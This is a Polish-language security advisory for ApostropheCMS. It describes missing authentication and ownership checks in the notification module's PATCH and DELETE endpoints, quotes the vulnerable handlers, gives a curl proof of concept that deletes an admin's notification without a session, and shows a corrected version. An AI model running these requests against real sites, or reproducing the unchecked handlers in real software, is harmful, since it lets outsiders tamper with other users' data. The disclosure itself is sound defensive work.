ApostropheCMS: Brak autoryzacji w punktach końcowych PATCH/DELETE modułu powiadomień
Podsumowanie
Moduł powiadomień udostępnia punkty końcowe REST PATCH oraz DELETE, które wykonują operacje bezpośrednio na bazowej kolekcji MongoDB bez weryfikacji, czy żądający jest uwierzytelniony lub czy jest właścicielem docelowego powiadomienia.
W rezultacie nieuwierzytelniony atakujący, który uzyska prawidłowy identyfikator powiadomienia, może zmodyfikować lub trwale usunąć powiadomienie innego użytkownika.
Dotknięty kod
Plik
packages/apostrophe/modules/@apostrophecms/notification/index.js
// restApiRoutes
async patch(req, _id) {
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
await self.db.updateOne(
{ _id },
{
$set: { dismissed },
$currentDate: { updatedAt: true }
}
);
}
},
async delete(req, _id) {
await self.db.deleteMany({ _id });
}
W przeciwieństwie do trasy powiadomień GET, te procedury obsługi nie weryfikują:
- Uwierzytelnienia (
req.user) - Własności (
userId === req.user._id) - Autoryzacji ani uprawnień
Zamiast tego dostarczony _id jest używany bezpośrednio w surowej kolekcji MongoDB.
Przyczyna źródłowa
Punkty końcowe REST powiadomień wykonują operacje na bazie danych bezpośrednio przy użyciu self.db, bez wymuszania uwierzytelniania ani autoryzacji.
Chociaż framework zapewnia mechanizmy uprawnień (req.user, sprawdzanie własności oraz apos.permission), te punkty końcowe nigdy ich nie wywołują. W konsekwencji każde żądanie trafiające do tych procedur obsługi jest przetwarzane wyłącznie na podstawie podanego identyfikatora powiadomienia.
Dla porównania, trasa powiadomień GET poprawnie sprawdza:
if (!(req.user && req.user._id)) {
throw self.apos.error('invalid');
}
W procedurach obsługi PATCH ani DELETE nie ma równoważnej walidacji.
Dowód koncepcji (Proof of Concept)
1. Zaloguj się jako administrator
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"username":"admin",
"password":"AdminP@ssw0rd123!",
"session":true
}'
2. Utwórz powiadomienie
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"message":"manual verify test",
"type":"info"
}'
Przykładowa odpowiedź:
{
"noteId":"p358r7phi2w8l245ww5130uf"
}
3. Sprawdź, czy powiadomienie istnieje
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Odpowiedź:
{
"notifications":[
{
"_id":"p358r7phi2w8l245ww5130uf",
"userId":"i89h844o5n3nbreis0ugusum",
"message":"manual verify test"
}
],
"dismissed":[]
}
4. Uzyskaj dostęp do punktu końcowego bez uwierzytelnienia
Utwórz nowy plik cookie (cookie jar) zawierający tylko publiczny plik cookie CSRF:
rm -f anon_cookies.txt
curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
Następnie wyślij żądanie bez żadnej uwierzytelnionej sesji:
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"
Odpowiedź:
HTTP/1.1 200 OK
5. Sprawdź, czy powiadomienie zostało usunięte
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Odpowiedź:
{
"notifications":[],
"dismissed":[]
}
Powiadomienie należące do uwierzytelnionego administratora zostało pomyślnie usunięte przez nieuwierzytelnionego klienta.
Wpływ
Atakujący, który uzyska prawidłowy identyfikator powiadomienia, może:
- Usunąć powiadomienia innego użytkownika.
- Oznaczyć powiadomienia innego użytkownika jako odrzucone.
- Ukryć powiadomienia administracyjne lub powiązane z bezpieczeństwem.
Podatność wpływa przede wszystkim na integralność.
Chociaż identyfikatory powiadomień są generowane przy użyciu CUID2 i praktycznie niemożliwe do odgadnięcia, autoryzacja nie może polegać na entropii identyfikatorów. Jakakolwiek odrębna podatność ujawniająca informacje lub wyciek logów ujawniający identyfikatory powiadomień uczyniłaby ten problem bezpośrednio podatnym na wykorzystanie.
Zalecana poprawka
Wymagaj uwierzytelnienia przed przetworzeniem jakiegokolwiek żądania modyfikacji.
Dodatkowo zawęź wszystkie operacje bazy danych do uwierzytelnionego użytkownika.
Przykład:
// patch
async patch(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
const result = await self.db.updateOne(
{ _id, userId: req.user._id }, // <-- ownership check
{ $set: { dismissed }, $currentDate: { updatedAt: true } }
);
if (!result.matchedCount) {
throw self.apos.error('notfound');
}
}
},
// delete
async delete(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const result = await self.db.deleteMany({ _id, userId: req.user._id });
if (!result.deletedCount) {
throw self.apos.error('notfound');
}
}
Podobnie zaktualizuj procedurę obsługi PATCH, aby przed aktualizacją rekordów powiadomień weryfikować zarówno uwierzytelnienie, jak i własność.
Rekomendacja
Każdy punkt końcowy modyfikacji powiadomień powinien:
- Wymagać uwierzytelnienia.
- Weryfikować własność (
userId === req.user._id). - Zwracać
403 Forbiddendla nieautoryzowanych żądań. - Unikać wykonywania operacji bazy danych wyłącznie przy użyciu kontrolowanego przez użytkownika
_id.
Te same kontrole autoryzacji należy również zastosować do wszelkich wewnętrznych metod pomocniczych (takich jak dismiss()), które modyfikują stan powiadomień.
Co trzeba zrobić
Zaktualizuj ApostropheCMS do wersji 4.33.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | < 4.33.0 | 4.33.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N- Słabość (CWE)
CWE-639, CWE-862- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 20.10.2026
- Aktualizacja
- 20.10.2026 21:38
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-vwwx-px9w-crrc - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 27
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 8
- Średnia 13
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Brak autoryzacji w punktach końcowych PATCH/DELETE modułu powiadomień ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.